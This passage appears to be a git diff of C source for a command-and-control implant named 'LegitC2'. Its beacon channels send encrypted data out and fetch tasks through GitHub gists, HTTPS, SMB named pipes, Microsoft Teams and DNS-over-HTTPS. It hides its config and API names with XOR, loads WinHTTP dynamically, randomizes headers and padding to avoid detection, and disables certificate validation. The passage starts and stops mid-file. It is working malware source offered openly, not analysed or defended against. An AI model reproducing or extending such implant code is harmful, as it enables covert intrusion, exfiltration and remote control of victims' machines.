static const unsigned char k_env_teams_chan[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf1,0xe0,0xe4,0xe8,0xf6,0xfa,0xe6,0xed,0xe4,0xeb,0xeb,0xe0,0xe9};
static const unsigned char k_env_beacon_url[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe7,0xe0,0xe4,0xe6,0xea,0xeb,0xfa,0xf0,0xf7,0xe9};
static const unsigned char k_env_doh_server[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe1,0xea,0xed,0xfa,0xf6,0xe0,0xf7,0xf3,0xe0,0xf7};
static const unsigned char k_env_doh_domain[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xe1,0xea,0xed,0xfa,0xe1,0xea,0xe8,0xe4,0xec,0xeb};
/* LEGITC2_SMB_HOST */
static const unsigned char k_env_smb_host[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf6,0xe8,0xe7,0xfa,0xed,0xea,0xf6,0xf1};
/* LEGITC2_SMB_PIPE */
static const unsigned char k_env_smb_pipe[] = {0xe9,0xe0,0xe2,0xec,0xf1,0xe6,0x97,0xfa,0xf6,0xe8,0xe7,0xfa,0xf5,0xec,0xf5,0xe0};
#define OVERRIDE(enc_key, field) do { \
char _kb[64] = {0}; \
volatile unsigned char _x = ENV_XOR; \
for (size_t _i = 0; _i < sizeof(enc_key); _i++) \
_kb[_i] = (char)(enc_key[_i] ^ _x); \
const char *_v = getenv(_kb); \
if (_v) strncpy(cfg->field, _v, sizeof(cfg->field) - 1); \
memset(_kb, 0, sizeof(_kb)); \
} while (0)
OVERRIDE(k_env_gh_token, github_token);
OVERRIDE(k_env_gist_cmd, gist_cmd_id);
OVERRIDE(k_env_gist_out, gist_out_id);
OVERRIDE(k_env_teams_tenant, teams_tenant_id);
OVERRIDE(k_env_teams_client, teams_client_id);
OVERRIDE(k_env_teams_secret, teams_client_secret);
OVERRIDE(k_env_teams_wh, teams_webhook_url);
OVERRIDE(k_env_teams_team, teams_team_id);
OVERRIDE(k_env_teams_chan, teams_channel_id);
OVERRIDE(k_env_beacon_url, beacon_url);
OVERRIDE(k_env_doh_server, doh_server);
OVERRIDE(k_env_doh_domain, doh_domain);
OVERRIDE(k_env_smb_host, smb_host);
OVERRIDE(k_env_smb_pipe, smb_pipe);
#undef OVERRIDE
#undef ENV_XOR
}
/* upload encrypted b64 beacon to the output gist */
int github_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
{
if (!cfg->github_token[0] || !cfg->gist_out_id[0]) return CHANNEL_ERR;
char url[256];
snprintf(url, sizeof(url),
"https://api.github.com/gists/%s", cfg->gist_out_id);
/* build PATCH JSON body */
size_t body_sz = strlen(b64) + 128;
char *body = malloc(body_sz);
if (!body) return CHANNEL_ERR;
snprintf(body, body_sz,
"{\"files\":{\"%s_1x.bin\":{\"content\":\"%s\"}}}",
agent_id, b64);
char *resp = github_request(cfg->github_token, url, HTTP_PATCH, body);
free(body);
if (!resp) return CHANNEL_ERR;
free(resp);
return CHANNEL_OK;
}
/* fetch pending task from the command gist, NULL if nothing */
char *github_recv(const channel_config_t *cfg, const char *agent_id)
{
if (!cfg->github_token[0] || !cfg->gist_cmd_id[0]) return NULL;
char url[256];
snprintf(url, sizeof(url),
"https://api.github.com/gists/%s", cfg->gist_cmd_id);
char *resp = github_request(cfg->github_token, url, HTTP_GET, NULL);
if (!resp) return NULL;
char filename[64];
snprintf(filename, sizeof(filename), "%s_0x.bin", agent_id);
char *content = gist_extract_content(resp, filename);
free(resp);
return content;
}
/* try channels in priority order */
int channel_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
{
if (cfg->smb_host[0] && smb_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
if (github_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
if (cfg->beacon_url[0] && http_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
if (cfg->teams_tenant_id[0] && teams_send(cfg, agent_id, b64) == CHANNEL_OK) return CHANNEL_OK;
return doh_send(cfg, agent_id, b64);
}
char *channel_recv(const channel_config_t *cfg, const char *agent_id)
{
char *result;
if (cfg->smb_host[0]) { result = smb_recv(); if (result) return result; }
result = github_recv(cfg, agent_id); if (result) return result;
result = http_recv(); if (result) return result;
if (cfg->teams_tenant_id[0]) { result = teams_recv(cfg, agent_id); if (result) return result; }
return doh_recv(cfg, agent_id);
}
+407
View File
@@ -0,0 +1,407 @@
#include "channels.h"
#include "crypto.h"
#include "util.h"
#include "agent_config.h"
#include "evs_strings.h"
#include <windows.h>
#include <winhttp.h>
#include <wincrypt.h>
#include <bcrypt.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
/* WinHTTP dynamic dispatch */
typedef BOOL(WINAPI *fn_WH_CrackUrl)(LPCWSTR, DWORD, DWORD, LPURL_COMPONENTS);
typedef HINTERNET(WINAPI *fn_WH_Open)(LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD);
typedef HINTERNET(WINAPI *fn_WH_Connect)(HINTERNET, LPCWSTR, INTERNET_PORT, DWORD);
typedef HINTERNET(WINAPI *fn_WH_OpenRequest)(HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR *, DWORD);
typedef BOOL(WINAPI *fn_WH_SetOption)(HINTERNET, DWORD, LPVOID, DWORD);
typedef BOOL(WINAPI *fn_WH_AddHeaders)(HINTERNET, LPCWSTR, DWORD, DWORD);
typedef BOOL(WINAPI *fn_WH_SetTimeouts)(HINTERNET, int, int, int, int);
typedef BOOL(WINAPI *fn_WH_SendRequest)(HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR);
typedef BOOL(WINAPI *fn_WH_RecvResponse)(HINTERNET, LPVOID);
typedef BOOL(WINAPI *fn_WH_QueryOption)(HINTERNET, DWORD, LPVOID, LPDWORD);
typedef BOOL(WINAPI *fn_WH_QueryAvail)(HINTERNET, LPDWORD);
typedef BOOL(WINAPI *fn_WH_ReadData)(HINTERNET, LPVOID, DWORD, LPDWORD);
typedef BOOL(WINAPI *fn_WH_Close)(HINTERNET);
typedef struct
{
fn_WH_CrackUrl CrackUrl;
fn_WH_Open Open;
fn_WH_Connect Connect;
fn_WH_OpenRequest OpenRequest;
fn_WH_SetOption SetOption;
fn_WH_AddHeaders AddHeaders;
fn_WH_SetTimeouts SetTimeouts;
fn_WH_SendRequest SendRequest;
fn_WH_RecvResponse RecvResponse;
fn_WH_QueryOption QueryOption;
fn_WH_QueryAvail QueryAvail;
fn_WH_ReadData ReadData;
fn_WH_Close Close;
} wh_t;
static wh_t _wh = {0};
static int _wh_init(void)
{
if (_wh.Open)
return 0;
char _dll[12];
{
volatile unsigned char _k = EVS_KEY;
for (int _i = 0; _i < (int)sizeof(EVS_dll_winhttp); _i++)
_dll[_i] = (char)(EVS_dll_winhttp[_i] ^ _k);
_dll[sizeof(EVS_dll_winhttp)] = '\0';
}
HMODULE h = LoadLibraryA(_dll);
SecureZeroMemory(_dll, sizeof(_dll));
if (!h)
return -1;
char _fn[32];
volatile unsigned char _k = EVS_KEY;
#define _GPA(enc, ftype, field) \
do \
{ \
for (int _i = 0; _i < (int)sizeof(enc); _i++) \
_fn[_i] = (char)((enc)[_i] ^ _k); \
_fn[sizeof(enc)] = '\0'; \
_wh.field = (ftype)GetProcAddress(h, _fn); \
SecureZeroMemory(_fn, sizeof(enc) + 1); \
} while (0)
_GPA(EVS_fn_WinHttpCrackUrl, fn_WH_CrackUrl, CrackUrl);
_GPA(EVS_fn_WinHttpOpen, fn_WH_Open, Open);
_GPA(EVS_fn_WinHttpConnect, fn_WH_Connect, Connect);
_GPA(EVS_fn_WinHttpOpenRequest, fn_WH_OpenRequest, OpenRequest);
_GPA(EVS_fn_WinHttpSetOption, fn_WH_SetOption, SetOption);
_GPA(EVS_fn_WinHttpAddRequestHeaders, fn_WH_AddHeaders, AddHeaders);
_GPA(EVS_fn_WinHttpSetTimeouts, fn_WH_SetTimeouts, SetTimeouts);
_GPA(EVS_fn_WinHttpSendRequest, fn_WH_SendRequest, SendRequest);
_GPA(EVS_fn_WinHttpReceiveResponse, fn_WH_RecvResponse, RecvResponse);
_GPA(EVS_fn_WinHttpQueryOption, fn_WH_QueryOption, QueryOption);
_GPA(EVS_fn_WinHttpQueryDataAvailable, fn_WH_QueryAvail, QueryAvail);
_GPA(EVS_fn_WinHttpReadData, fn_WH_ReadData, ReadData);
_GPA(EVS_fn_WinHttpCloseHandle, fn_WH_Close, Close);
#undef _GPA
return _wh.Open ? 0 : -1;
}
/* Helpers */
static char s_pending[131072];
static int s_pending_set = 0;
static int json_str(const char *json, const char *key, char *out, size_t out_sz)
{
char needle[128];
snprintf(needle, sizeof(needle), "\"%s\":", key);
const char *p = strstr(json, needle);
if (!p)
return -1;
p += strlen(needle);
while (*p == ' ')
p++;
if (*p != '"')
return -1;
p++;
size_t i = 0;
while (*p && *p != '"' && i < out_sz - 1)
{
if (*p == '\\' && *(p + 1))
p++;
out[i++] = *p++;
}
out[i] = '\0';
return 0;
}
static wchar_t *_to_wide(const char *s)
{
int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
if (n <= 0)
return NULL;
wchar_t *w = (wchar_t *)malloc((size_t)n * sizeof(wchar_t));
if (!w)
return NULL;
MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
return w;
}
/* Certificate pinning */
static int _cert_pin_check(HINTERNET hRequest)
{
#if CFG_CERT_PIN_LEN != 64
(void)hRequest;
return 0;
#else
uint8_t expected[32];
{
char hex[65] = {0};
for (int i = 0; i < 64; i++)
hex[i] = (char)(CFG_CERT_PIN[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
for (int i = 0; i < 32; i++)
{
char h[3] = {hex[i * 2], hex[i * 2 + 1], '\0'};
expected[i] = (uint8_t)strtoul(h, NULL, 16);
}
}
PCCERT_CONTEXT pCert = NULL;
DWORD certSz = sizeof(PCCERT_CONTEXT);
if (!_wh.QueryOption(hRequest, WINHTTP_OPTION_SERVER_CERT_CONTEXT,
&pCert, &certSz) ||
!pCert)
return -1;
uint8_t got[32] = {0};
{
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_HASH_HANDLE hHash = NULL;
DWORD objSz = 0, cbRes = 0;
uint8_t *hashObj = NULL;
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA256_ALGORITHM, NULL, 0) != 0)
goto pin_fail;
if (BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
(PBYTE)&objSz, sizeof(DWORD), &cbRes, 0) != 0)
goto pin_fail;
hashObj = (uint8_t *)malloc(objSz);
if (!hashObj)
goto pin_fail;
if (BCryptCreateHash(hAlg, &hHash, hashObj, objSz, NULL, 0, 0) != 0)
goto pin_fail;
BCryptHashData(hHash, pCert->pbCertEncoded, pCert->cbCertEncoded, 0);
BCryptFinishHash(hHash, got, 32, 0);
BCryptDestroyHash(hHash);
BCryptCloseAlgorithmProvider(hAlg, 0);
free(hashObj);
CertFreeCertificateContext(pCert);
return (memcmp(got, expected, 32) == 0) ? 0 : -1;
pin_fail:
if (hHash)
BCryptDestroyHash(hHash);
if (hAlg)
BCryptCloseAlgorithmProvider(hAlg, 0);
free(hashObj);
CertFreeCertificateContext(pCert);
return -1;
}
#endif
}
/* Beacon send */
int http_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
{
if (!cfg->beacon_url[0])
return CHANNEL_ERR;
if (_wh_init() != 0)
return CHANNEL_ERR;
s_pending_set = 0;
wchar_t *url_w = _to_wide(cfg->beacon_url);
if (!url_w)
return CHANNEL_ERR;
wchar_t host[256] = {0};
wchar_t path[1024] = {0};
URL_COMPONENTS uc;
memset(&uc, 0, sizeof(uc));
uc.dwStructSize = sizeof(uc);
uc.lpszHostName = host;
uc.dwHostNameLength = 256;
uc.lpszUrlPath = path;
uc.dwUrlPathLength = 1024;
if (!_wh.CrackUrl(url_w, 0, 0, &uc))
{
free(url_w);
return CHANNEL_ERR;
}
free(url_w);
BOOL secure = (uc.nScheme == INTERNET_SCHEME_HTTPS);
INTERNET_PORT port = uc.nPort ? uc.nPort : (INTERNET_PORT)(secure ? 443 : 80);
/* cryptographic random padding to vary request size */
char pad_b64[72] = {0};
{
uint8_t raw[36];
uint32_t rnd = 0;
BCryptGenRandom(NULL, (BYTE *)&rnd, sizeof(rnd), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
DWORD pad_len = 8 + (rnd % 29);
if (BCryptGenRandom(NULL, raw, pad_len, BCRYPT_USE_SYSTEM_PREFERRED_RNG) == 0)
{
char *enc = base64_encode(raw, pad_len);
if (enc)
{
strncpy(pad_b64, enc, sizeof(pad_b64) - 1);
free(enc);
}
}
}
size_t body_sz = strlen(b64) + strlen(pad_b64) + 160;
char *body = (char *)malloc(body_sz);
if (!body)
return CHANNEL_ERR;
if (pad_b64[0])
snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\",\"_t\":\"%s\"}", agent_id, b64, pad_b64);
else
snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\"}", agent_id, b64);
const char *ua_str = (cfg->http_useragent[0]) ? cfg->http_useragent : random_ua();
wchar_t *ua_w = _to_wide(ua_str);
HINTERNET hSession = _wh.Open(
ua_w ? ua_w : L"Mozilla/5.0",
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
free(ua_w);
if (!hSession)
{
free(body);
return CHANNEL_ERR;
}
HINTERNET hConnect = _wh.Connect(hSession, host, port, 0);
if (!hConnect)
{
_wh.Close(hSession);
free(body);
return CHANNEL_ERR;
}
DWORD req_flags = secure ? WINHTTP_FLAG_SECURE : 0;
HINTERNET hRequest = _wh.OpenRequest(hConnect, L"POST",
path[0] ? path : L"/",
NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, req_flags);
if (!hRequest)
{
_wh.Close(hConnect);
_wh.Close(hSession);
free(body);
return CHANNEL_ERR;
}
if (secure)
{
DWORD sec_flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
_wh.SetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS,
&sec_flags, sizeof(sec_flags));
}
_wh.AddHeaders(hRequest,
L"Content-Type: application/json\r\nAccept: application/json",
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
/* Per-beacon header variation */
{
static const wchar_t *_langs[] = {
L"Accept-Language: en-US,en;q=0.9\r\n",
L"Accept-Language: en-GB,en;q=0.8,en-US;q=0.7\r\n",
L"Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8\r\n",
L"Accept-Language: de-DE,de;q=0.9,en;q=0.8\r\n",
};
static const wchar_t *_encs[] = {
L"Accept-Encoding: gzip, deflate, br\r\n",
L"Accept-Encoding: gzip, deflate\r\n",
L"Accept-Encoding: br, gzip\r\n",
};
uint32_t _r = 0;
BCryptGenRandom(NULL, (BYTE *)&_r, sizeof(_r), BCRYPT_USE_SYSTEM_PREFERRED_RNG);
_wh.AddHeaders(hRequest, _langs[_r % 4], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
_wh.AddHeaders(hRequest, _encs[(_r >> 8) % 3], (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
_wh.AddHeaders(hRequest,
L"Cache-Control: no-cache, no-store\r\n",
(DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
wchar_t _ref[512];
swprintf(_ref, 512, L"Referer: https://%ls/\r\n", host);
_wh.AddHeaders(hRequest, _ref, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
}
if (cfg->http_extra_headers[0])
{
wchar_t *xhdr_w = _to_wide(cfg->http_extra_headers);
if (xhdr_w)
{
_wh.AddHeaders(hRequest, xhdr_w, (DWORD)-1L, WINHTTP_ADDREQ_FLAG_ADD);
free(xhdr_w);
}
}
_wh.SetTimeouts(hRequest, 30000, 30000, 30000, 30000);
BOOL ok = _wh.SendRequest(hRequest,
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
body, (DWORD)strlen(body), (DWORD)strlen(body), 0);
free(body);
if (!ok || !_wh.RecvResponse(hRequest, NULL))
{
_wh.Close(hRequest);
_wh.Close(hConnect);
_wh.Close(hSession);
return CHANNEL_ERR;
}
if (secure && _cert_pin_check(hRequest) != 0)
{
_wh.Close(hRequest);
_wh.Close(hConnect);
_wh.Close(hSession);
return CHANNEL_ERR;
}
char *resp = NULL;
size_t resp_len = 0;
DWORD avail = 0;
while (_wh.QueryAvail(hRequest, &avail) && avail > 0)
{
char *tmp = (char *)realloc(resp, resp_len + avail + 1);
if (!tmp)
break;
resp = tmp;
DWORD nread = 0;
_wh.ReadData(hRequest, resp + resp_len, avail, &nread);
resp_len += nread;
resp[resp_len] = '\0';
}
_wh.Close(hRequest);
_wh.Close(hConnect);
_wh.Close(hSession);
if (resp)
{
if (json_str(resp, "p", s_pending, sizeof(s_pending)) == 0 && s_pending[0] != '\0')
s_pending_set = 1;
free(resp);
}
return CHANNEL_OK;
}
char *http_recv(void)
{
if (!s_pending_set || !s_pending[0])
return NULL;
char *ret = strdup(s_pending);
s_pending[0] = '\0';
s_pending_set = 0;
return ret;
}
+81
View File
@@ -0,0 +1,81 @@
#include "channels.h"
#include "agent_config.h"
#include <stdlib.h>
#include <string.h>
/* ---- No-op stubs ---- */
int github_send(const channel_config_t *cfg, const char *id, const char *b64)
{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
char *github_recv(const channel_config_t *cfg, const char *id)
{ (void)cfg; (void)id; return NULL; }
int teams_send(const channel_config_t *cfg, const char *id, const char *b64)
{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
char *teams_recv(const channel_config_t *cfg, const char *id)
{ (void)cfg; (void)id; return NULL; }
int doh_send(const channel_config_t *cfg, const char *id, const char *b64)
{ (void)cfg; (void)id; (void)b64; return CHANNEL_ERR; }
char *doh_recv(const channel_config_t *cfg, const char *id)
{ (void)cfg; (void)id; return NULL; }
/* ---- XOR deobfuscation ---- */
static void cfg_decode(const unsigned char *src, size_t len, char *dst)
{
for (size_t i = 0; i < len; i++)
dst[i] = (char)(src[i] ^ CFG_XOR_KEY[i % CFG_XOR_KEY_LEN]);
dst[len] = '\0';
}
/* ---- Config init — beacon_url only ---- */
void channel_config_init(channel_config_t *cfg)
{
memset(cfg, 0, sizeof(*cfg));
if (CFG_BEACON_URL_LEN)
cfg_decode(CFG_BEACON_URL, CFG_BEACON_URL_LEN, cfg->beacon_url);
#if defined(CFG_SMB_HOST_LEN) && CFG_SMB_HOST_LEN > 0
cfg_decode(CFG_SMB_HOST, CFG_SMB_HOST_LEN, cfg->smb_host);
#endif
#if defined(CFG_SMB_PIPE_LEN) && CFG_SMB_PIPE_LEN > 0
cfg_decode(CFG_SMB_PIPE, CFG_SMB_PIPE_LEN, cfg->smb_pipe);
#endif
#ifndef NDEBUG
/* Dev override: env var */
const char *v = getenv("LEGITC2_BEACON_URL");
if (v && *v)
strncpy(cfg->beacon_url, v, sizeof(cfg->beacon_url) - 1);
#endif
#if defined(CFG_HTTP_USERAGENT_LEN) && CFG_HTTP_USERAGENT_LEN > 0
cfg_decode(CFG_HTTP_USERAGENT, CFG_HTTP_USERAGENT_LEN, cfg->http_useragent);
#endif
#if defined(CFG_HTTP_EXTRA_HEADERS_LEN) && CFG_HTTP_EXTRA_HEADERS_LEN > 0
cfg_decode(CFG_HTTP_EXTRA_HEADERS, CFG_HTTP_EXTRA_HEADERS_LEN, cfg->http_extra_headers);
#endif
#if defined(CFG_CERT_PIN_LEN) && CFG_CERT_PIN_LEN == 64
cfg_decode(CFG_CERT_PIN, CFG_CERT_PIN_LEN, cfg->http_cert_pin);
#endif
}
/* ---- Dispatcher ---- */
int channel_send(const channel_config_t *cfg, const char *id, const char *b64)
{
if (cfg->smb_host[0] && smb_send(cfg, id, b64) == CHANNEL_OK) return CHANNEL_OK;
return http_send(cfg, id, b64);
}
char *channel_recv(const channel_config_t *cfg, const char *id)
{
(void)id;
if (cfg->smb_host[0]) {
char *r = smb_recv();
if (r) return r;
}
return http_recv();
}
+166
View File
@@ -0,0 +1,166 @@
#include "channels.h"
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#define SMB_MAX_RESP 131072
#define SMB_CONNECT_RETRIES 3
#define SMB_PIPE_WAIT_MS 3000
static char s_pending[SMB_MAX_RESP];
static int s_pending_set = 0;
/* internal helpers */
static int json_str(const char *json, const char *key, char *out, size_t out_sz)
{
char needle[128];
snprintf(needle, sizeof(needle), "\"%s\":", key);
const char *p = strstr(json, needle);
if (!p)
return -1;
p += strlen(needle);
while (*p == ' ')
p++;
if (*p != '"')
return -1;
p++;
size_t i = 0;
while (*p && *p != '"' && i < out_sz - 1)
{
if (*p == '\\' && *(p + 1))
p++;
out[i++] = *p++;
}
out[i] = '\0';
return 0;
}
static BOOL pipe_read_exact(HANDLE h, void *buf, DWORD len)
{
DWORD done = 0;
while (done < len)
{
DWORD nr = 0;
if (!ReadFile(h, (char *)buf + done, len - done, &nr, NULL) || nr == 0)
return FALSE;
done += nr;
}
return TRUE;
}
static BOOL pipe_write_exact(HANDLE h, const void *buf, DWORD len)
{
DWORD done = 0;
while (done < len)
{
DWORD nw = 0;
if (!WriteFile(h, (const char *)buf + done, len - done, &nw, NULL) || nw == 0)
return FALSE;
done += nw;
}
return TRUE;
}
/* send beacon over SMB named pipe, buffer task from response */
int smb_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
{
if (!cfg->smb_host[0] || !cfg->smb_pipe[0])
return CHANNEL_ERR;
s_pending_set = 0;
char path[640];
snprintf(path, sizeof(path), "\\\\%s\\pipe\\%s", cfg->smb_host, cfg->smb_pipe);
wchar_t wpath[640] = {0};
if (MultiByteToWideChar(CP_UTF8, 0, path, -1, wpath, 640) == 0)
return CHANNEL_ERR;
HANDLE hPipe = INVALID_HANDLE_VALUE;
for (int i = 0; i < SMB_CONNECT_RETRIES && hPipe == INVALID_HANDLE_VALUE; i++)
{
hPipe = CreateFileW(wpath,
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hPipe == INVALID_HANDLE_VALUE)
{
if (GetLastError() != ERROR_PIPE_BUSY)
return CHANNEL_ERR;
WaitNamedPipeW(wpath, SMB_PIPE_WAIT_MS);
}
}
if (hPipe == INVALID_HANDLE_VALUE)
return CHANNEL_ERR;
/* build JSON body */
size_t body_sz = strlen(agent_id) + strlen(b64) + 32;
char *body = (char *)malloc(body_sz);
if (!body)
{
CloseHandle(hPipe);
return CHANNEL_ERR;
}
int body_len = snprintf(body, body_sz, "{\"id\":\"%s\",\"p\":\"%s\"}", agent_id, b64);
if (body_len <= 0) { free(body); CloseHandle(hPipe); return CHANNEL_ERR; }
/* write: 4-byte LE length then payload */
uint32_t wlen = (uint32_t)body_len;
BOOL ok = pipe_write_exact(hPipe, &wlen, 4) &&
pipe_write_exact(hPipe, body, wlen);
free(body);
if (!ok)
{
CloseHandle(hPipe);
return CHANNEL_ERR;
}
/* read 4-byte LE response length */
uint32_t rlen = 0;
if (!pipe_read_exact(hPipe, &rlen, 4) || rlen == 0 || rlen >= SMB_MAX_RESP)
{
CloseHandle(hPipe);
return CHANNEL_ERR;
}
/* read response body */
char *resp = (char *)malloc(rlen + 1);
if (!resp)
{
CloseHandle(hPipe);
return CHANNEL_ERR;
}
ok = pipe_read_exact(hPipe, resp, rlen);
CloseHandle(hPipe);
if (!ok)
{
free(resp);
return CHANNEL_ERR;
}
resp[rlen] = '\0';
/* buffer task if present */
char task[SMB_MAX_RESP];
if (json_str(resp, "p", task, sizeof(task)) == 0 && task[0])
{
strncpy(s_pending, task, sizeof(s_pending) - 1);
s_pending[sizeof(s_pending) - 1] = '\0';
s_pending_set = 1;
}
free(resp);
return CHANNEL_OK;
}
/* return task buffered by smb_send, NULL if none */
char *smb_recv(void)
{
if (!s_pending_set || !s_pending[0])
return NULL;
char *ret = strdup(s_pending);
s_pending[0] = '\0';
s_pending_set = 0;
return ret;
}
+269
View File
@@ -0,0 +1,269 @@
#include "channels.h"
#include "util.h"
#include <curl/curl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef CURLSSLOPT_NATIVE_CA
#define CURLSSLOPT_NATIVE_CA (1 << 4)
#endif
/* ---- libcurl response buffer ---- */
typedef struct
{
char *data;
size_t len;
} curl_buf_t;
static size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
{
curl_buf_t *buf = (curl_buf_t *)userdata;
size_t nb = size * nmemb;
char *tmp = realloc(buf->data, buf->len + nb + 1);
if (!tmp)
return 0;
buf->data = tmp;
memcpy(buf->data + buf->len, ptr, nb);
buf->len += nb;
buf->data[buf->len] = '\0';
return nb;
}
/* get an OAuth2 client_credentials token for the Graph API */
static char *teams_get_access_token(const channel_config_t *cfg)
{
char url[256];
snprintf(url, sizeof(url),
"https://login.microsoftonline.com/%s/oauth2/v2.0/token",
cfg->teams_tenant_id);
char body[1024];
snprintf(body, sizeof(body),
"grant_type=client_credentials"
"&client_id=%s"
"&client_secret=%s"
"&scope=https%%3A%%2F%%2Fgraph.microsoft.com%%2F.default",
cfg->teams_client_id,
cfg->teams_client_secret);
CURL *curl = curl_easy_init();
if (!curl)
return NULL;
curl_buf_t resp = {0};
char ua_hdr[320];
snprintf(ua_hdr, sizeof(ua_hdr), "User-Agent: %s", random_ua());
struct curl_slist *hdrs = NULL;
hdrs = curl_slist_append(hdrs, "Content-Type: application/x-www-form-urlencoded");
hdrs = curl_slist_append(hdrs, ua_hdr);
curl_apply_opsec(curl);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
CURLcode res = curl_easy_perform(curl);
long code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
curl_slist_free_all(hdrs);
curl_easy_cleanup(curl);
if (res != CURLE_OK || code != 200)
{
free(resp.data);
return NULL;
}
/* Extract "access_token":"<value>" */
const char *p = strstr(resp.data, "\"access_token\"");
if (!p)
{
free(resp.data);
return NULL;
}
p += strlen("\"access_token\"");
while (*p == ' ' || *p == ':')
p++;
if (*p != '"')
{
free(resp.data);
return NULL;
}
p++;
size_t i = 0, cap = 2048;
char *tok = malloc(cap);
if (!tok)
{
free(resp.data);
return NULL;
}
while (*p && *p != '"' && i < cap - 1)
tok[i++] = *p++;
tok[i] = '\0';
free(resp.data);
return tok;
}
/* make a request to the Microsoft Graph API */
static char *graph_request(const char *access_token, const char *url,
const char *method, const char *body_json)
{
CURL *curl = curl_easy_init();
if (!curl)
return NULL;
curl_buf_t resp = {0};
struct curl_slist *hdrs = NULL;
char auth_hdr[2400];
char ua_hdr2[320];
snprintf(auth_hdr, sizeof(auth_hdr), "Authorization: Bearer %s", access_token);
snprintf(ua_hdr2, sizeof(ua_hdr2), "User-Agent: %s", random_ua());
hdrs = curl_slist_append(hdrs, auth_hdr);
hdrs = curl_slist_append(hdrs, "Content-Type: application/json");
hdrs = curl_slist_append(hdrs, ua_hdr2);
curl_apply_opsec(curl);
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, hdrs);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
curl_easy_setopt(curl, CURLOPT_TIMEOUT, 30L);
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
if (method && strcmp(method, "POST") == 0)
{
curl_easy_setopt(curl, CURLOPT_POST, 1L);
if (body_json)
{
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, body_json);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(body_json));
}
}
else if (method && strcmp(method, "GET") == 0)
{
curl_easy_setopt(curl, CURLOPT_HTTPGET, 1L);
}
CURLcode res = curl_easy_perform(curl);
long code = 0;
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);
curl_slist_free_all(hdrs);
curl_easy_cleanup(curl);
if (res != CURLE_OK || code < 200 || code >= 300)
{
free(resp.data);
return NULL;
}
return resp.data;
}
/* post beacon as a Teams message in the configured channel */
int teams_send(const channel_config_t *cfg, const char *agent_id, const char *b64)
{
if (!cfg->teams_tenant_id[0] || !cfg->teams_team_id[0])
return CHANNEL_ERR;
char *token = teams_get_access_token(cfg);
if (!token)
return CHANNEL_ERR;
char url[512];
snprintf(url, sizeof(url),
"https://graph.microsoft.com/v1.0/teams/%s/channels/%s/messages",
cfg->teams_team_id, cfg->teams_channel_id);
/* message format: LC2:{agent_id}:{payload} */
size_t body_sz = strlen(b64) + 256;
char *body = malloc(body_sz);
if (!body)
{
free(token);
return CHANNEL_ERR;
}
snprintf(body, body_sz,
"{\"body\":{\"contentType\":\"text\","
"\"content\":\"LC2:%s:%s\"}}",
agent_id, b64);
